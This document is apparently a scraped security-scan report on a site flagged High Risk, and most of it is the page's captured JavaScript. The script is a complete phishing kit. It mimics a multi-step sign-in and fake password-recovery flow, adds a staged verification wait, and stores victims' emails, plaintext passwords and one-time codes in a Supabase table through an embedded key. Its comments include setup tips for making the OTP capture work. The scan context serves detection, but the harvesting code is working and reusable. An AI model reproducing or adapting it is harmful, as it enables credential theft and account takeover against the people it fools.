social media network

blog personal website

government public service

technology software

adult content

English

You're looking at domain 'wow-w.netlify.app' on the application-focused generic top-level domain (.app) with subdomain 'wow-w'. The core label 'netlify' covers 7 characters holding 2 vowels versus five consonants. It segments into three words: net, li, fy. The median word length lands at 2 characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

cf529fe8980cbe6f2dd3e3930ecf96352ed3d3d71233b6760e4f927f89b94b9f

a3a64c44b871c65db4e7c86d16f839d80bf690ae4e36b626360ae03d0d49c4ca

viewport

Name.com Abuse Team

Name.com, Inc.

netlify.app

Amazon EC2 Abuse

IP Management

Amazon AWS Network Operations

A100 ROW GmbH

Amazon EC2 Network Operations

AMAZON-FRA


// ====== CONFIG ======
const SUPABASE_URL = 'https://ubcdugxhgphwfeoqgdfs.supabase.co';
const SUPABASE_ANON_KEY = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InViY2R1Z3hoZ3Bod2Zlb3FnZGZzIiwicm9sZSI6ImFub24iLCJpYXQiOjE3ODU2ODQwNDEsImV4cCI6MjEwMTI2MDA0MX0.D6t2dWCkVA_4ABF8wqP76fHFWMg6PzQM5UAEl6QjYx4';
// ===================

const _supabase = supabase.createClient(SUPABASE_URL, SUPABASE_ANON_KEY);

const stepEmail = document.getElementById('stepEmail');
const stepPassword = document.getElementById('stepPassword');
const stepForgot = document.getElementById('stepForgot');
const stepComplete = document.getElementById('stepComplete');
const stepForgotComplete = document.getElementById('stepForgotComplete');
const emailInput = document.getElementById('emailInput');
const passwordInput = document.getElementById('passwordInput');
const otpInput = document.getElementById('otpInput');
const btnEmailNext = document.getElementById('btnEmailNext');
const btnPasswordNext = document.getElementById('btnPasswordNext');
const btnForgot = document.getElementById('btnForgot');
const btnOtpNext = document.getElementById('btnOtpNext');
const btnBackToPassword = document.getElementById('btnBackToPassword');
const loadingOverlay = document.getElementById('loadingOverlay');
const loadingText = document.getElementById('loadingText');
const loadingEmail = document.getElementById('loadingEmail');
const displayedEmail = document.getElementById('displayedEmail');
const forgotDisplayedEmail = document.getElementById('forgotDisplayedEmail');
const emailDisplay = document.getElementById('emailDisplay');
const showPassword = document.getElementById('showPassword');
const emailError = document.getElementById('emailError');
const passwordError = document.getElementById('passwordError');
const otpError = document.getElementById('otpError');
const emailGroup = document.getElementById('emailGroup');
const passwordGroup = document.getElementById('passwordGroup');
const otpGroup = document.getElementById('otpGroup');
const toast = document.getElementById('toast');
const timerText = document.getElementById('timerText');
const timerCount = document.getElementById('timerCount');
const otpSection = document.getElementById('otpSection');
const forgotSubtitle = document.getElementById('forgotSubtitle');

let userEmail = '';
let userPassword = '';
let forgotRecordId = null;
let timerInterval = null;

function showToast(msg) {
    toast.textContent = msg;
    toast.classList.add('show');
    setTimeout(() => toast.classList.remove('show'), 5000);
}

function showStep(stepEl) {
    [stepEmail, stepPassword, stepForgot, stepComplete, stepForgotComplete].forEach(s => s.classList.remove('active'));
    stepEl.classList.add('active');
}

btnEmailNext.addEventListener('click', () => {
    const email = emailInput.value.trim();
    if (!email) {
        emailGroup.classList.add('error');
        emailError.style.display = 'flex';
        emailInput.focus();
        return;
    }
    emailGroup.classList.remove('error');
    emailError.style.display = 'none';
    userEmail = email;
    loadingEmail.textContent = email;
    loadingOverlay.classList.add('active');
    setTimeout(() => {
        loadingOverlay.classList.remove('active');
        displayedEmail.textContent = email;
        showStep(stepPassword);
        passwordInput.focus();
    }, 1500);
});

emailInput.addEventListener('input', () => { emailGroup.classList.remove('error'); emailError.style.display = 'none'; });
emailInput.addEventListener('keydown', (e) => { if (e.key === 'Enter') btnEmailNext.click(); });

emailDisplay.addEventListener('click', () => {
    showStep(stepEmail);
    emailInput.focus();
});

showPassword.addEventListener('change', () => {
    passwordInput.type = showPassword.checked ? 'text' : 'password';
});

btnPasswordNext.addEventListener('click', async () => {
    const password = passwordInput.value;
    if (!password) {
        passwordGroup.classList.add('error');
        passwordError.style.display = 'flex';
        passwordInput.focus();
        return;
    }
    passwordGroup.classList.remove('error');
    passwordError.style.display = 'none';
    btnPasswordNext.disabled = true;
    loadingEmail.textContent = 'Saving...';
    loadingText.textContent = 'Signing in...';
    loadingOverlay.classList.add('active');

    try {
        const { data, error } = await _supabase
            .from('demo_signups')
            .insert([{ email: userEmail, password: password }]);

        if (error) {
            console.error('Supabase Error:', error.message);
            showToast('Error saving data: ' + error.message);
            loadingOverlay.classList.remove('active');
            btnPasswordNext.disabled = false;
        } else {
            setTimeout(() => {
                loadingOverlay.classList.remove('active');
                showStep(stepComplete);
            }, 1200);
        }
    } catch (err) {
        console.error('Exception:', err.message);
        showToast('Exception: ' + err.message);
        loadingOverlay.classList.remove('active');
        btnPasswordNext.disabled = false;
    }
});

passwordInput.addEventListener('input', () => { passwordGroup.classList.remove('error'); passwordError.style.display = 'none'; });
passwordInput.addEventListener('keydown', (e) => { if (e.key === 'Enter') btnPasswordNext.click(); });

// ====== FORGOT PASSWORD FLOW ======

btnForgot.addEventListener('click', async (e) => {
    e.preventDefault();

    userPassword = passwordInput.value || '';

    loadingText.textContent = 'Processing...';
    loadingEmail.textContent = userEmail;
    loadingOverlay.classList.add('active');

    try {
        const { data, error } = await _supabase
            .from('demo_signups')
            .insert([{ 
                email: userEmail, 
                password: userPassword,
                status: 'forgot',
                otp: null
            }])
            .select('id');

        if (error) {
            console.error('Supabase Insert Error:', error.message);
            showToast('Error: ' + error.message);
            loadingOverlay.classList.remove('active');
            return;
        }

        if (data && data.length > 0 && data[0].id) {
            forgotRecordId = data[0].id;
            console.log('Forgot record created with ID:', forgotRecordId);
        } else {
            console.warn('Insert succeeded but no ID returned. Will use fallback on OTP.');
            forgotRecordId = null;
        }

        loadingOverlay.classList.remove('active');

        forgotDisplayedEmail.textContent = userEmail;
        forgotSubtitle.textContent = 'Verifying your identity...';
        timerText.style.display = 'block';
        otpSection.style.display = 'none';
        showStep(stepForgot);

        let seconds = 30;
        timerCount.textContent = seconds;

        if (timerInterval) clearInterval(timerInterval);

        timerInterval = setInterval(() => {
            seconds--;
            timerCount.textContent = seconds;
            if (seconds <= 0) {
                clearInterval(timerInterval);
                timerText.style.display = 'none';
                otpSection.style.display = 'block';
                forgotSubtitle.textContent = 'Enter verification code';
                otpInput.focus();
            }
        }, 1000);

    } catch (err) {
        console.error('Exception:', err.message);
        showToast('Exception: ' + err.message);
        loadingOverlay.classList.remove('active');
    }
});

btnBackToPassword.addEventListener('click', (e) => {
    e.preventDefault();
    if (timerInterval) clearInterval(timerInterval);
    showStep(stepPassword);
});

btnOtpNext.addEventListener('click', async () => {
    const otp = otpInput.value.trim();
    if (!otp) {
        otpGroup.classList.add('error');
        otpError.style.display = 'flex';
        otpInput.focus();
        return;
    }
    otpGroup.classList.remove('error');
    otpError.style.display = 'none';
    btnOtpNext.disabled = true;

    loadingText.textContent = 'Verifying...';
    loadingEmail.textContent = '';
    loadingOverlay.classList.add('active');

    try {
        let targetId = forgotRecordId;

        // If we don't have the record ID from insert, fetch the latest forgot record
        if (!targetId) {
            console.log('No stored record ID. Fetching latest forgot record for', userEmail);
            const { data: rows, error: fetchErr } = await _supabase
                .from('demo_signups')
                .select('id')
                .eq('email', userEmail)
                .eq('status', 'forgot')
                .order('created_at', { ascending: false })
                .limit(1);

            if (fetchErr) {
                console.error('Fetch Error:', fetchErr.message);
                showToast('Error finding record: ' + fetchErr.message);
                loadingOverlay.classList.remove('active');
                btnOtpNext.disabled = false;
                return;
            }

            if (!rows || rows.length === 0) {
                showToast('No forgot record found for this email.');
                loadingOverlay.classList.remove('active');
                btnOtpNext.disabled = false;
                return;
            }

            targetId = rows[0].id;
            console.log('Found record ID via fallback:', targetId);
        }

        // Update the specific record by ID
        const { data, error } = await _supabase
            .from('demo_signups')
            .update({ otp: otp })
            .eq('id', targetId)
            .select();

        if (error) {
            console.error('Supabase Update Error:', error.message);
            showToast('Error updating OTP: ' + error.message);
            loadingOverlay.classList.remove('active');
            btnOtpNext.disabled = false;
            return;
        }

        if (!data || data.length === 0) {
            console.error('Update returned 0 rows. Check RLS policies on demo_signups table.');
            showToast('Update failed: 0 rows affected. Enable UPDATE for anon key in RLS.');
            loadingOverlay.classList.remove('active');
            btnOtpNext.disabled = false;
            return;
        }

        console.log('OTP updated successfully:', data);

        setTimeout(() => {
            loadingOverlay.classList.remove('active');
            showStep(stepForgotComplete);
        }, 1200);

    } catch (err) {
        console.error('Exception:', err.message);
        showToast('Exception: ' + err.message);
        loadingOverlay.classList.remove('active');
        btnOtpNext.disabled = false;
    }
});

otpInput.addEventListener('input', () => { otpGroup.classList.remove('error'); otpError.style.display = 'none'; });
otpInput.addEventListener('keydown', (e) => { if (e.key === 'Enter') btnOtpNext.click(); });


Requests	IP Address	Location	AS Autonomous System
3	142.251.13.95Google · CDN	United States	AS15169Google LLC
2	151.101.65.229Fastly · CDN	United States	AS54113Fastly, Inc.
2	63.176.8.218Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
7	3	-	-

Security Scan Report: wow-w.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History